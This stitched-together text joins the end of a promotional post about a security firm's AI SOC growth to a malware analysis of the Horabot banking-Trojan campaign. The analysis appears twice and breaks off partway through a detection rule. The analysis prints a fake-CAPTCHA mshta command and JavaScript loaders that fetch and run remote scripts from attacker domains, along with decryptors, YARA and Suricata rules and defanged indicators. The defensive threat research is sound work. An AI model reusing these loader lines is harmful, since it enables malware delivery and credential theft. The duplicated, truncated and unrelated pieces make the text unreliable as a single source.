• Scaled the team across key functions to support a growing enterprise customer base

These milestones reflect more than company growth. They reflect a broader market transition toward AI SOC as enterprises look for ways to investigate every alert, reduce hidden risk, and operate beyond the limits of human investigation capacity.

Growing industry recognition

Intezer’s momentum is also being recognized by media, industry analysts and practitioners. Here is a sampling of recent coverage.

Reuters covered Intezer’s research team’s work on uncovering novel cyber attacks this past December, that were targeting Russian defense organizations.

Well known industry analyst Richard Stiennon recently included Intezer in the 2026 Cyber 150, an independently compiled list based on IT-Harvest data, and has also included Intezer in his new book, Guardians of the Machine Age.

At the same time, practitioners are taking notice. In his write-up on Intezer’s 2026 AI SOC Report, Darwin Salazar highlighted the report’s forensic depth, auditability, and practical value in a crowded AI SOC market.

Why this momentum matters

Traditional SOC and MDR models are constrained by human investigation bandwidth. As alert volumes increase, teams are forced to prioritize only a subset of alerts, often based on severity labels before full context is available. That leaves real risk hiding in uninvestigated alerts.

Enterprises are increasingly adopting AI SOC to remove that bottleneck.

Intezer investigates 100% of alerts at forensic depth across endpoint, identity, cloud, network, phishing, and SIEM sources, escalating only the incidents (less than 2%) that require human judgment. This allows security teams to stay in control while scaling operations far beyond what manual investigation models can support.

What the numbers show

The business results from the past year point to strong validation in the market.

Doubling revenue year over year signals accelerating demand.

126% net revenue retention reflects strong customer expansion and continued platform adoption.

Growth across Fortune 500 organizations shows that large enterprises are increasingly embracing this operating model.

And continued team expansion across key functions ensures Intezer can support customers as adoption grows.

Looking ahead

The market is moving toward a new SOC operating model, one where AI executes investigations at scale and human teams focus on decisions, response, and strategy.

Intezer’s momentum over the past year reflects that shift clearly. As more enterprises look to eliminate investigation bottlenecks and reduce cyber risk, AI SOC is moving from emerging category to operational reality.

Learn more about Intezer.

The post Intezer’s 2025 momentum reflects rapid adoption of AI SOC in global enterprise  appeared first on Intezer.

Introduction

In this installment of our SOC Files series, we will walk you through a targeted campaign that our MDR team identified and hunted down a few months ago. It involves a threat known as Horabot, a bundle consisting of an infamous banking Trojan, an email spreader, and a notably complex attack chain.

Although previous research has documented Horabot campaigns (here and here), our goal is to highlight how active this threat remains and to share some aspects not covered in those analyses.

The starting point

As usual, our story begins with an alert that popped up in one of our customers’ environments. The rule that triggered it is generic yet effective at detecting suspicious mshta activity. The case progressed from that initial alert, but fortunately ended on a positive note. Kaspersky Endpoint Security intervened, terminated the malicious process (via a proactive defense module (PDM)) and removed the related files before the threat could progress any further.

The incident was then brought up for discussion at one of our weekly meetings. That was enough to spark the curiosity of one of our analysts, who then delved deeper into the tradecraft behind this campaign.

The attack chain

After some research and a lot of poking around in the adversary infrastructure, our team managed to map out the end-to-end kill chain. In this section, we will break down each stage and explain how the operation unfolds.

Stage 1: Initial lure

Following the breadcrumbs observed in the reported incident, the activity appears to begin with a standard fake CAPTCHA page. In the incident mentioned above, this page was located at the URL https://evs.grupotuis[.]buzz/0capcha17/ (details about its content can be found here).

Similar to the Lumma and Amadey cases, this page instructs the user to open the Run dialog, paste a malicious command into it and then run it. Once deceived, the victim pastes a command similar to the one below:

mshta https://evs.grupotuis[.]buzz/0capcha17/DMEENLIGGB.hta

This command retrieved and executed an HTA file that contained the following:

It is essentially a small loader. When executed, it opens a blank window, then immediately pulls and runs an external JavaScript payload hosted on the attacker’s domain. The body contains a large block of random, meaningless text that serves purely as filler.

Stage 2: A pinch of server-side polymorphism

The payload loaded by the HTA file dynamically creates a new <script> element, sets its source to an external VBScript hosted on another attacker-controlled domain, and injects it into the <head> section of a page hardcoded in the HTA. You can see the full content of the page in the box below. Once appended, the external VBScript is immediately fetched and executed, advancing the attack to its next stage.

var scriptEle = document.createElement("script");
scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/ld1/"); 
scriptEle.setAttribute("type", "text/vbscript"); 
document.getElementsByTagName('head')[0].appendChild(scriptEle);

The next-stage VBS content resembles the example shown below. During our analysis, we observed the use of server-side polymorphism because each access to the same resource returned a slightly different version of the code while preserving the same functionality.

The script is obfuscated and employs a custom string encoding routine. Below is a more readable version with its strings decoded and replaced using a small Python script that replicates the decode_str() routine.

The script performs pretty much the same function as the initial HTA file. It reaches a JavaScript loader that injects and executes another polymorphic VBScript.

var scriptEle = document.createElement("script");
scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/"); 
scriptEle.setAttribute("type", "text/vbscript"); 
document.getElementsByTagName('head')[0].appendChild(scriptEle);

Unlike the first script, this one is significantly more complex, with more than 400 lines of code. It acts as the heavy lifter of the operation. Below is a brief summary of its key characteristics:

• Heavy obfuscation: the script uses multiple layers of obfuscation to obscure its behavior.
• Custom string decoder: employs the same decoding routine found in the first VBScript to reconstruct strings at runtime.
• Anti-VM and “anti-Avast”: performs basic environment checks and terminates if a specific Avast folder or VM artifacts are detected.
• Information gathering and exfiltration: collects the host IP, hostname, username, and OS version, then sends this data to a C2 server.
• Download of additional components: retrieves an AutoIt executable, its compiler (Aut2Exe), a script (au3), and a blob file, placing them under the hardcoded path C:\Users\Public\LAPTOP-0QF0NEUP4.
• PowerShell command execution: executes PowerShell commands that reach out to two different URLs (one unavailable and the other leading to the first stager of the spreader, which we describe later in this article).
• Persistence setup: creates a LNK file and drops it into the Startup folder to maintain persistence.
• Cleanup routines: removes temporary files and terminates selected processes.

During our analysis of the heavy lifter, specifically within the exfiltration routine, we identified where the collected data was being sent. After probing the associated URL and removing the “salvar.php” portion, we uncovered an exposed webpage where the adversary listed all their victims.

As you may have noticed, the table is in Brazilian Portuguese and lists victims dating back to May 2025 (this screenshot was taken in September 2025). In the “Localização” (location) column, the adversary even included the victims’ geographic coordinates, which are redacted in the screenshot. A quick breakdown shows that, of the 5384 victims, 5030 were located in Mexico, representing roughly 93% of the total.

Stage 3: The evil combination of AutoIT and a banking Trojan

It is now time to focus on the files downloaded by our heavy lifter. As previously mentioned, three AutoIT components were dropped on disk: the executable (AutoIT3), the compiler (Aut2Exe), and the script (au3), along with an encrypted blob file. Since we have access to the AutoIt script code, we can analyze its routines. However, it contains over 750 lines of heavily obfuscated code, so let’s focus only on what really matters.

The most important routine is responsible for decrypting the blob file (it uses AES-192 with a key derived from the seed value 99521487), loading it directly into memory, and then calling the exported function B080723_N. The decrypted blob is a DLL.

We also managed to replicate the decryption logic with a Python script and manually extract the DLL (0x6272EF6AC1DE8FB4BDD4A760BE7BA5ED). After initial triage and basic sandbox execution, we observed the following:

• The sample is a well-known Delphi banking Trojan detected by several engines under different names, such as Casbaneiro, Ponteiro, Metamorfo, and Zusy.

• It embeds two old OpenSSL libraries (libeay32.dll and ssleay32.dll) from the Indy Project, an open-source client/server communications library used to establish client/server HTTPS C2 communication.

• It includes SQL commands used to harvest credentials from browsers.

Once loaded into memory, the Trojan sends several HTTP requests to different URLs:

URL	Description
https://cgf.facturastbs[.]shop/0725/a/home (GET)	A page containing an encrypted configuration
https://cfg.brasilinst[.]site/a/br/logs/index.php?CHLG (POST)	A URL for posting host information, but in our lab tests the value was empty. Request content example: Host: ‘ ‘
https://aufal.filevexcasv[.]buzz/on7/index15.php (POST) https://aufal.filevexcasv[.]buzz/on7all/index15.php (POST)	A URL used to post victim information Request content example: AT: ‘ Microsoft Windows 10 Pro FLARE-VM (64)bit REMFLARE-VM’ MD: 040825VS
https://cgf.facturastbs[.]shop/a/08/150822/au/at.html	HTML lure page designed to trick the user into accessing a malicious link whose contents are also used as a PDF attachment during the email distribution phase.
https://upstar.pics/a/08/150822/up/up (GET)	The resource was already unavailable at the time our testing was conducted.
https://cgf.midasx.site/a/08/150822/au/au (GET)	The page containing the first stage leading to the spreader.

Since this malware family has been extensively documented in previous studies, we won’t reiterate its well-known functionality. Instead, we’ll focus on lesser-documented and newly observed features, including the malware’s encryption and protocol handling logic.

The sample implements a stateful XOR-subtraction cipher in the sub_00A86B64 subroutine, which is used to protect strings and decrypt HTTP data received from the C2. Unlike simple XOR, each byte of output here depends on both the key and the previous byte. In our sample, the key is the string "0xFF0wx8066h".

We can easily reimplement the logic of the routine in Python and integrate the following snippet into our workflow to automate string decryption:

def decrypt_string(encrypted_hex):
    key_string = "0xFF0wx8066h"
    key_index = 0
    result = ""
    
    current_key = int(encrypted_hex[0:2], 16)
    
    i = 2
    while i < len(encrypted_hex):
        next_key = int(encrypted_hex[i:i+2], 16)
        if key_index >= len(key_string):
            key_index = 0
        key_char = ord(key_string[key_index])
        xored_value = next_key ^ key_char
        
        if xored_value > current_key:
            decrypted_char = xored_value - current_key
        else:
            decrypted_char = (xored_value + 0xFF) - current_key
        
        result += chr(decrypted_char)
        current_key = next_key
        key_index += 1
        i += 2
    
    return result

Python implementation of the decryption routine

The encrypted strings are retrieved in three different ways: through indexed lookups using a global encrypted Delphi string list (also observed by our colleagues at ESET); via direct references to encrypted hex strings in the data section; through indirect references using pointer variables, adding an overhead when automating decryption with scripts.

The malware fetches its configuration by performing an HTTPS GET request to the hardcoded, encrypted C2 server. The server responds with a configuration, which is a raw HTTP response, consisting of several values, each individually encrypted with the aforementioned algorithm. The sample extracts specific parameters based on their position in the list.

To improve readability, the above screenshot has been edited to include the decrypted parameters, which are separated by double newlines.

Configuration retrieval and parsing are initiated in the sub_00AD2C70 subroutine where the first configuration value, the C2 socket connection setting (host;port), is extracted.

If parsing fails, the malware falls back to a hardcoded secondary C2 socket address. The socket connection is then established.

Additional configuration values are parsed in sub_00AD2918 and its subroutines. For example, in the decrypted C2 configuration shown above, parameter 5 contains the “UPON” string that triggers execution, and parameter 6 contains the PowerShell commands that are run when this string is used. Below is the portion of the routine that takes care of parsing this command:

In addition to HTTP communication, the malware supports raw socket communication using a custom protocol that encapsulates commands into tags such as <|SIMPLE_TAG|> or <|TAG|>Arg1<|>Arg2<<|>.

The client initiates the C2 connection in sub_00AD331C, where it establishes a TCP socket to the operator’s server and sends the "PRINCIPAL" command to request a control channel. After receiving an OK response, it follows up with an "Info" message containing system details. Once validated, the server replies with a "SocketMain" message containing a session ID, completing the handshake. All subsequent command handling occurs in sub_00AD373C, a central orchestrator routine that parses incoming messages and dispatches the malicious actions.

The sample, and therefore the protocol itself, is inherited, from the open-source Delphi Remote Access PC project, as our colleagues at ESET have noted in the past. Below is a visual comparison:

Some features from the open-source project, including the chat and file manipulation commands, have been removed, while some mouse-related commands have been renamed with playful prefixes like “LULUZ” (e.g., LULUZLD, LULUZPos). This could be an inside joke, anti-analysis obfuscation, or a way to mark custom variants. Beyond the standard functionality, the protocol now includes a range of additional custom commands, such as LULUZSD for mouse wheel scrolling down, ENTERMANDA to simulate pressing the Enter key, and COLADIFKEYBOARD to inject arbitrary text as keystrokes.

The full command set is considerably larger, and while not all commands are implemented in the analyzed sample, evidence of their presence (e.g., in the form of strings) suggests ongoing development.

After getting a sense of the protocol, let’s focus on the cipher used. In this sample, traffic exchanged via the C2 socket channel is encrypted using another stateful XOR algorithm with embedded decryption keys. Its logic is implemented in the routines sub_00A9F2D0 (encryption) and sub_00A9F5C0 (decryption):

The encryption routine generates three random four-digit integer keys. The first key acts as the initial cipher state, while the other two serve as the multiplier and increment that are applied at every encryption stage to both the state and the data. For each character in the input string, it takes the high byte of the current state, XORs it with the character to encrypt, and then updates the cipher state for the next character. The output is created by prepending the three keys to the ciphertext, encapsulating everything within the “##” markers. The final output looks like this:

##[key1][key2][key3][encrypted_hex_data]##

Here’s a Python snippet to decode such traffic:

def deobfuscate_traffic(obfuscated):
    if not (obfuscated.startswith("##") and obfuscated.endswith("##")):
        raise ValueError("Invalid format")

    core = obfuscated[2:-2]
    
    key1 = int(core[0:4])
    key2 = int(core[4:8])
    key3 = int(core[8:12])
    
    hex_data = core[12:]
    
    current_key = key1
    output_chars = []
    
    for i in range(0, len(hex_data), 2):
        xored = int(hex_data[i:i+2], 16)
        
        high_byte = (current_key >> 8) & 0xFF
        original_char = chr(xored ^ high_byte)
        output_chars.append(original_char)
        
        current_key = ((current_key + xored) * key2 + key3) & 0xFFFF
    
    return "".join(output_chars)

Although this encryption layer was likely intended to evade network inspection, it ironically makes detection easier due to its highly regular and repetitive structure. This pattern, including the external markers “##”, is uncommon in legitimate traffic and can be used as a reliable network signature for IDS/IPS systems. Below is a Suricata rule that matches the described structure:

alert tcp any any -> any any ( \
    msg:"Horabot C2 socket communication (##hex##)"; \
    flow:established; \
    content:"##"; depth:2; fast_pattern; \
    content:"##"; endswith; \
    pcre:"/^##[1-9][0-9]{3}[1-9][0-9]{3}[1-9][0-9]{3}[0-9A-F]+##$/"; \
    classtype:trojan-activity; \
    sid:1900000; \
    rev:1; \
    metadata:author Domenico; \
)

As documented by our colleagues at Fortinet, the malware contains functionality to display fake pop-ups prompting victims to enter their banking credentials. The images for these pop-ups are stored as encrypted resources. Unlike strings, resources are decrypted using the standard RC4 cipher, and the key pega-avisao3234029284 is retrieved from the previous TStringList structure at offset 3FEh.

The wordplay around “pega a visão”, Brazilian slang meaning “get the picture” figuratively, reveals an intentional cultural reference, supporting the already well-known Brazilian ties of the operators who have a native understanding of the language.

Below is a collage of pictures where the targeted bank overlays are visible.

Stage 4: The spreader

In our tests, we noticed that both the VBScript (the heavy lifter) and the Delphi DLL have overlapping functionality for downloading the next stage via PowerShell. Although they rely on different domains, they follow the same URL pattern.

We tried accessing URLs meant for downloading the spreader. One returned nothing, while the other displayed a sequence of two PowerShell stagers before reaching the actual spreader.

In the second stager, we found several Base64-encoded URLs, but only one of them was active during our analysis. Based on comments found in the spreader code, we suspect that in previous versions or campaigns the spreader was assembled piece by piece from these other URLs. In our case, however, a single URL contained all the necessary code.

Yes, we also wondered how PowerShell could possibly accept ASCII chaos as variable/function names, but it does. After cleaning up the messy naming convention and reviewing the well-commented routines (thanks, threat actor), we were able to identify its main duties:

• Harvest emails via the MAPI namespace;
• Exfiltrate unique email addresses to the C2;
• Clean up the outbox;
• Filter the exfiltrated email addresses against a blocklist of keywords;
• Prepare a phishing email containing a malicious PDF;
• Mass-distribute the email to the filtered addresses.

One interesting point is that the spreader’s code and comments allow us to extract some useful intel:

• All comments are written in Brazilian Portuguese, which gives a strong indication of the threat actor’s origin.
• It is fairly easy to distinguish comments written by a human from those most likely generated by an AI/LLM; the latter are too formal and remarkably well-formatted. One of the human comments actually inspired the title of this article.
• One of the comments in the code reads “limpa a caixa de saida antes de sapecar”. Sapecar has a very specific meaning that only Brazilian Portuguese speakers would naturally understand. The closest equivalent to this comment in English would be: “Clear the outbox before you blast it off or let it rip.”

Our team tracked Horabot activity for a few months and compiled a collection of malicious attachment examples used in this campaign. They are all written in Spanish and urge the user to click a large button in the document to access a “confidential file” or an “invoice”. Clicking the button triggers the same infection chain described in this article.

Detection engineering and threat hunting opportunities

After navigating this long, layered attack chain, we bet some of the tech folks reading this have already started imagining potential detection opportunities.
With that in mind, this section provides some rules and queries that you can use to detect and hunt this threat in your own environment.

YARA rules

The YARA rules focus on two core components of the operation: the AutoIt script that functions as the loader, and the Delphi DLL that serves as the banking Trojan.

import "pe"

rule Horabot_Delphi_Trojan
{
    meta:
        author = "maT"
        description = "Detects Horabot payload/trojan (Delphi DLL)"
        hash_01 = "6272ef6ac1de8fb4bdd4a760be7ba5ed"
        hash_02 = "4caa797130b5f7116f11c0b48013e430"
        hash_03 = "c882d948d44a65019df54b0b2996677f"

    condition:
        uint32be(0) == 0x4d5a5000 and 
        filesize < 150MB and 
        pe.is_dll() and
        pe.number_of_exports == 4 and
        pe.exports("dbkFCallWrapperAddr") and
        pe.exports("__dbk_fcall_wrapper") and
        pe.exports("TMethodImplementationIntercept") and
        pe.exports(/^[A-Z][0-9]{6}_[A-Z0-9]$/)
}

rule Horabot_AutoIT_Loader
{
    meta:
        author = "maT"
        description = "Detects AutoIT script used as a loader by Horabot"
    
    strings:
        $winapi_01 = "Advapi32.dll"
        $winapi_02 = "CryptDeriveKey"
        $winapi_03 = "CryptDecrypt"
        $winapi_04 = "MemoryLoadLibrary"
        $winapi_05 = "VirtualAlloc"
        $winapi_06 = "DllCallAddress"

        $str_seed = "99521487"
        $str_func01 = "B080723_N"
        $str_func02 = "A040822_1"

        $opt_hexstr01 = { 20 3D 20 22 ?? ?? ?? ?? ?? ?? ?? 5F ?? 22 20 0D 0A 4C 6F 63 61 6C 20 24} // = "B080723_N" CRLF Local $
        $opt_aes192 = "0x0000660f" // CALG_AES_192
        $opt_md5 = "0x00008003" // CALG_MD5      

    condition:
        filesize < 100KB and
        all of ($winapi*) and
        (
            1 of ($str*) or
            all of ($opt*)
        )

}

Hunting queries

You may notice that some patterns in this section do not appear in the URLs described earlier in the article. These additional patterns were included because we observed small variations introduced by the threat actor over time, such as the use of QR codes in the lure pages.

VirusTotal Intelligence	entity:url (url:”0DOWN1109″ or url:”0QR-CODE” or url:”0zip0408″ or url:”0out0408″ or url:”0capcha17″ or url:”/g1/ld1/” or url:”/g1/auxld1″ or url:”/au/gerapdf/blqs1″ or url:”/au/gerauto.php” or url:”g1/ctld” or url:”index25.php” or url:”07f07ffc-028d” or url:”0AT14″ or url:”0sen711″) or (url:”index15.php” and (url:”/on7″ or url:”/on7all” or url:”/inf”))
URLScan	page.url.keyword:/.*\/([0-9]{6}|reserva)\/(au|up)\/.*/ OR page.url:(*0DOWN1109* OR *0QR-CODE* OR *0zip0408* OR *0out0408* OR *0capcha17* OR *\/g1\/ld1* OR *\/g1\/auxld1* OR *\/au\/gerapdf\/blqs1* OR *\/au\/gerauto.php* OR *\/g1\/ctld* OR *\/index25.php OR *\/index15.php)

IoCs

Indicator	Description
hxxps://evs.grupotuis[.]buzz/0capcha17/	Fake CAPTCHA page
hxxps://evs.grupotuis[.]buzz/0capcha17/DMEENLIGGB.hta	HTA file
hxxps://evs.grupotuis[.]buzz/0capcha17/DMEENLIGGB/GRXUOIWCEKVX	JavaScript Loader 01
hxxps://pdj.gruposhac[.]lat/g1/ld1/	VBS Polymorphic 01
hxxps://pdj.gruposhac[.]lat/g1/auxld1	JavaScript Loader 02
hxxps://pdj.gruposhac[.]lat/g1/	VBS Polymorphic 02 (heavy lifter)
hxxps://pdj.gruposhac[.]lat/g1/ctld/	List of victims
hxxps://pdj.gruposhac[.]lat/g1/gerador.php	Link to download AutoIT script
hxxps://cgf.facturastbs[.]shop/0725/a/home (GET)	List of C2 addresses encrypted
hxxps://cfg.brasilinst[.]site/a/br/logs/index.php?CHLG (POST)	Contacted by the Delphi DLL
hxxps://aufal.filevexcasv[.]buzz/on7/index15.php (POST) hxxps://aufal.filevexcasv[.]buzz/on7all/index15.php (POST)	Contacted by the Delphi DLL
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/at.html	Contacted by the Delphi DLL
hxxps://labodeguitaup[.]space/a/08/150822/au/au hxxps://cgf.midasx[.]site/a/08/150822/au/au	PowerShell stager 01
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/gerauto.php	PowerShell stager 02
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/app	Link to download the spreader
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/gerapdf/blqs1	List of blocklist keywords
hxxps://thea.gruposhac[.]space/0out0408	Link found in the button of the first malicious attachment
6272EF6AC1DE8FB4BDD4A760BE7BA5ED	Delphi DLL sample
lifenews[.]pro	C2 (socket)
64.177.80[.]44	C2 (socket)

Introduction

In this installment of our SOC Files series, we will walk you through a targeted campaign that our MDR team identified and hunted down a few months ago. It involves a threat known as Horabot, a bundle consisting of an infamous banking Trojan, an email spreader, and a notably complex attack chain.

Although previous research has documented Horabot campaigns (here and here), our goal is to highlight how active this threat remains and to share some aspects not covered in those analyses.

The starting point

As usual, our story begins with an alert that popped up in one of our customers’ environments. The rule that triggered it is generic yet effective at detecting suspicious mshta activity. The case progressed from that initial alert, but fortunately ended on a positive note. Kaspersky Endpoint Security intervened, terminated the malicious process (via a proactive defense module (PDM)) and removed the related files before the threat could progress any further.

The incident was then brought up for discussion at one of our weekly meetings. That was enough to spark the curiosity of one of our analysts, who then delved deeper into the tradecraft behind this campaign.

The attack chain

After some research and a lot of poking around in the adversary infrastructure, our team managed to map out the end-to-end kill chain. In this section, we will break down each stage and explain how the operation unfolds.

Stage 1: Initial lure

Following the breadcrumbs observed in the reported incident, the activity appears to begin with a standard fake CAPTCHA page. In the incident mentioned above, this page was located at the URL https://evs.grupotuis[.]buzz/0capcha17/ (details about its content can be found here).

Similar to the Lumma and Amadey cases, this page instructs the user to open the Run dialog, paste a malicious command into it and then run it. Once deceived, the victim pastes a command similar to the one below:

mshta https://evs.grupotuis[.]buzz/0capcha17/DMEENLIGGB.hta

This command retrieved and executed an HTA file that contained the following:

It is essentially a small loader. When executed, it opens a blank window, then immediately pulls and runs an external JavaScript payload hosted on the attacker’s domain. The body contains a large block of random, meaningless text that serves purely as filler.

Stage 2: A pinch of server-side polymorphism

The payload loaded by the HTA file dynamically creates a new <script> element, sets its source to an external VBScript hosted on another attacker-controlled domain, and injects it into the <head> section of a page hardcoded in the HTA. You can see the full content of the page in the box below. Once appended, the external VBScript is immediately fetched and executed, advancing the attack to its next stage.

var scriptEle = document.createElement("script");
scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/ld1/"); 
scriptEle.setAttribute("type", "text/vbscript"); 
document.getElementsByTagName('head')[0].appendChild(scriptEle);

The next-stage VBS content resembles the example shown below. During our analysis, we observed the use of server-side polymorphism because each access to the same resource returned a slightly different version of the code while preserving the same functionality.

The script is obfuscated and employs a custom string encoding routine. Below is a more readable version with its strings decoded and replaced using a small Python script that replicates the decode_str() routine.

The script performs pretty much the same function as the initial HTA file. It reaches a JavaScript loader that injects and executes another polymorphic VBScript.

var scriptEle = document.createElement("script");
scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/"); 
scriptEle.setAttribute("type", "text/vbscript"); 
document.getElementsByTagName('head')[0].appendChild(scriptEle);

Unlike the first script, this one is significantly more complex, with more than 400 lines of code. It acts as the heavy lifter of the operation. Below is a brief summary of its key characteristics:

• Heavy obfuscation: the script uses multiple layers of obfuscation to obscure its behavior.
• Custom string decoder: employs the same decoding routine found in the first VBScript to reconstruct strings at runtime.
• Anti-VM and “anti-Avast”: performs basic environment checks and terminates if a specific Avast folder or VM artifacts are detected.
• Information gathering and exfiltration: collects the host IP, hostname, username, and OS version, then sends this data to a C2 server.
• Download of additional components: retrieves an AutoIt executable, its compiler (Aut2Exe), a script (au3), and a blob file, placing them under the hardcoded path C:\Users\Public\LAPTOP-0QF0NEUP4.
• PowerShell command execution: executes PowerShell commands that reach out to two different URLs (one unavailable and the other leading to the first stager of the spreader, which we describe later in this article).
• Persistence setup: creates a LNK file and drops it into the Startup folder to maintain persistence.
• Cleanup routines: removes temporary files and terminates selected processes.

During our analysis of the heavy lifter, specifically within the exfiltration routine, we identified where the collected data was being sent. After probing the associated URL and removing the “salvar.php” portion, we uncovered an exposed webpage where the adversary listed all their victims.

As you may have noticed, the table is in Brazilian Portuguese and lists victims dating back to May 2025 (this screenshot was taken in September 2025). In the “Localização” (location) column, the adversary even included the victims’ geographic coordinates, which are redacted in the screenshot. A quick breakdown shows that, of the 5384 victims, 5030 were located in Mexico, representing roughly 93% of the total.

Stage 3: The evil combination of AutoIT and a banking Trojan

It is now time to focus on the files downloaded by our heavy lifter. As previously mentioned, three AutoIT components were dropped on disk: the executable (AutoIT3), the compiler (Aut2Exe), and the script (au3), along with an encrypted blob file. Since we have access to the AutoIt script code, we can analyze its routines. However, it contains over 750 lines of heavily obfuscated code, so let’s focus only on what really matters.

The most important routine is responsible for decrypting the blob file (it uses AES-192 with a key derived from the seed value 99521487), loading it directly into memory, and then calling the exported function B080723_N. The decrypted blob is a DLL.

We also managed to replicate the decryption logic with a Python script and manually extract the DLL (0x6272EF6AC1DE8FB4BDD4A760BE7BA5ED). After initial triage and basic sandbox execution, we observed the following:

• The sample is a well-known Delphi banking Trojan detected by several engines under different names, such as Casbaneiro, Ponteiro, Metamorfo, and Zusy.

• It embeds two old OpenSSL libraries (libeay32.dll and ssleay32.dll) from the Indy Project, an open-source client/server communications library used to establish client/server HTTPS C2 communication.

• It includes SQL commands used to harvest credentials from browsers.

Once loaded into memory, the Trojan sends several HTTP requests to different URLs:

URL	Description
https://cgf.facturastbs[.]shop/0725/a/home (GET)	A page containing an encrypted configuration
https://cfg.brasilinst[.]site/a/br/logs/index.php?CHLG (POST)	A URL for posting host information, but in our lab tests the value was empty. Request content example: Host: ‘ ‘
https://aufal.filevexcasv[.]buzz/on7/index15.php (POST) https://aufal.filevexcasv[.]buzz/on7all/index15.php (POST)	A URL used to post victim information Request content example: AT: ‘ Microsoft Windows 10 Pro FLARE-VM (64)bit REMFLARE-VM’ MD: 040825VS
https://cgf.facturastbs[.]shop/a/08/150822/au/at.html	HTML lure page designed to trick the user into accessing a malicious link whose contents are also used as a PDF attachment during the email distribution phase.
https://upstar.pics/a/08/150822/up/up (GET)	The resource was already unavailable at the time our testing was conducted.
https://cgf.midasx.site/a/08/150822/au/au (GET)	The page containing the first stage leading to the spreader.

Since this malware family has been extensively documented in previous studies, we won’t reiterate its well-known functionality. Instead, we’ll focus on lesser-documented and newly observed features, including the malware’s encryption and protocol handling logic.

The sample implements a stateful XOR-subtraction cipher in the sub_00A86B64 subroutine, which is used to protect strings and decrypt HTTP data received from the C2. Unlike simple XOR, each byte of output here depends on both the key and the previous byte. In our sample, the key is the string "0xFF0wx8066h".

We can easily reimplement the logic of the routine in Python and integrate the following snippet into our workflow to automate string decryption:

def decrypt_string(encrypted_hex):
    key_string = "0xFF0wx8066h"
    key_index = 0
    result = ""
    
    current_key = int(encrypted_hex[0:2], 16)
    
    i = 2
    while i < len(encrypted_hex):
        next_key = int(encrypted_hex[i:i+2], 16)
        if key_index >= len(key_string):
            key_index = 0
        key_char = ord(key_string[key_index])
        xored_value = next_key ^ key_char
        
        if xored_value > current_key:
            decrypted_char = xored_value - current_key
        else:
            decrypted_char = (xored_value + 0xFF) - current_key
        
        result += chr(decrypted_char)
        current_key = next_key
        key_index += 1
        i += 2
    
    return result

Python implementation of the decryption routine

The encrypted strings are retrieved in three different ways: through indexed lookups using a global encrypted Delphi string list (also observed by our colleagues at ESET); via direct references to encrypted hex strings in the data section; through indirect references using pointer variables, adding an overhead when automating decryption with scripts.

The malware fetches its configuration by performing an HTTPS GET request to the hardcoded, encrypted C2 server. The server responds with a configuration, which is a raw HTTP response, consisting of several values, each individually encrypted with the aforementioned algorithm. The sample extracts specific parameters based on their position in the list.

To improve readability, the above screenshot has been edited to include the decrypted parameters, which are separated by double newlines.

Configuration retrieval and parsing are initiated in the sub_00AD2C70 subroutine where the first configuration value, the C2 socket connection setting (host;port), is extracted.

If parsing fails, the malware falls back to a hardcoded secondary C2 socket address. The socket connection is then established.

Additional configuration values are parsed in sub_00AD2918 and its subroutines. For example, in the decrypted C2 configuration shown above, parameter 5 contains the “UPON” string that triggers execution, and parameter 6 contains the PowerShell commands that are run when this string is used. Below is the portion of the routine that takes care of parsing this command:

In addition to HTTP communication, the malware supports raw socket communication using a custom protocol that encapsulates commands into tags such as <|SIMPLE_TAG|> or <|TAG|>Arg1<|>Arg2<<|>.

The client initiates the C2 connection in sub_00AD331C, where it establishes a TCP socket to the operator’s server and sends the "PRINCIPAL" command to request a control channel. After receiving an OK response, it follows up with an "Info" message containing system details. Once validated, the server replies with a "SocketMain" message containing a session ID, completing the handshake. All subsequent command handling occurs in sub_00AD373C, a central orchestrator routine that parses incoming messages and dispatches the malicious actions.

The sample, and therefore the protocol itself, is inherited, from the open-source Delphi Remote Access PC project, as our colleagues at ESET have noted in the past. Below is a visual comparison:

Some features from the open-source project, including the chat and file manipulation commands, have been removed, while some mouse-related commands have been renamed with playful prefixes like “LULUZ” (e.g., LULUZLD, LULUZPos). This could be an inside joke, anti-analysis obfuscation, or a way to mark custom variants. Beyond the standard functionality, the protocol now includes a range of additional custom commands, such as LULUZSD for mouse wheel scrolling down, ENTERMANDA to simulate pressing the Enter key, and COLADIFKEYBOARD to inject arbitrary text as keystrokes.

The full command set is considerably larger, and while not all commands are implemented in the analyzed sample, evidence of their presence (e.g., in the form of strings) suggests ongoing development.

After getting a sense of the protocol, let’s focus on the cipher used. In this sample, traffic exchanged via the C2 socket channel is encrypted using another stateful XOR algorithm with embedded decryption keys. Its logic is implemented in the routines sub_00A9F2D0 (encryption) and sub_00A9F5C0 (decryption):

The encryption routine generates three random four-digit integer keys. The first key acts as the initial cipher state, while the other two serve as the multiplier and increment that are applied at every encryption stage to both the state and the data. For each character in the input string, it takes the high byte of the current state, XORs it with the character to encrypt, and then updates the cipher state for the next character. The output is created by prepending the three keys to the ciphertext, encapsulating everything within the “##” markers. The final output looks like this:

##[key1][key2][key3][encrypted_hex_data]##

Here’s a Python snippet to decode such traffic:

def deobfuscate_traffic(obfuscated):
    if not (obfuscated.startswith("##") and obfuscated.endswith("##")):
        raise ValueError("Invalid format")

    core = obfuscated[2:-2]
    
    key1 = int(core[0:4])
    key2 = int(core[4:8])
    key3 = int(core[8:12])
    
    hex_data = core[12:]
    
    current_key = key1
    output_chars = []
    
    for i in range(0, len(hex_data), 2):
        xored = int(hex_data[i:i+2], 16)
        
        high_byte = (current_key >> 8) & 0xFF
        original_char = chr(xored ^ high_byte)
        output_chars.append(original_char)
        
        current_key = ((current_key + xored) * key2 + key3) & 0xFFFF
    
    return "".join(output_chars)

Although this encryption layer was likely intended to evade network inspection, it ironically makes detection easier due to its highly regular and repetitive structure. This pattern, including the external markers “##”, is uncommon in legitimate traffic and can be used as a reliable network signature for IDS/IPS systems. Below is a Suricata rule that matches the described structure:

alert tcp any any -> any any ( \
    msg:"Horabot C2 socket communication (##hex##)"; \
    flow:established; \
    content:"##"; depth:2; fast_pattern; \
    content:"##"; endswith; \
    pcre:"/^##[1-9][0-9]{3}[1-9][0-9]{3}[1-9][0-9]{3}[0-9A-F]+##$/"; \
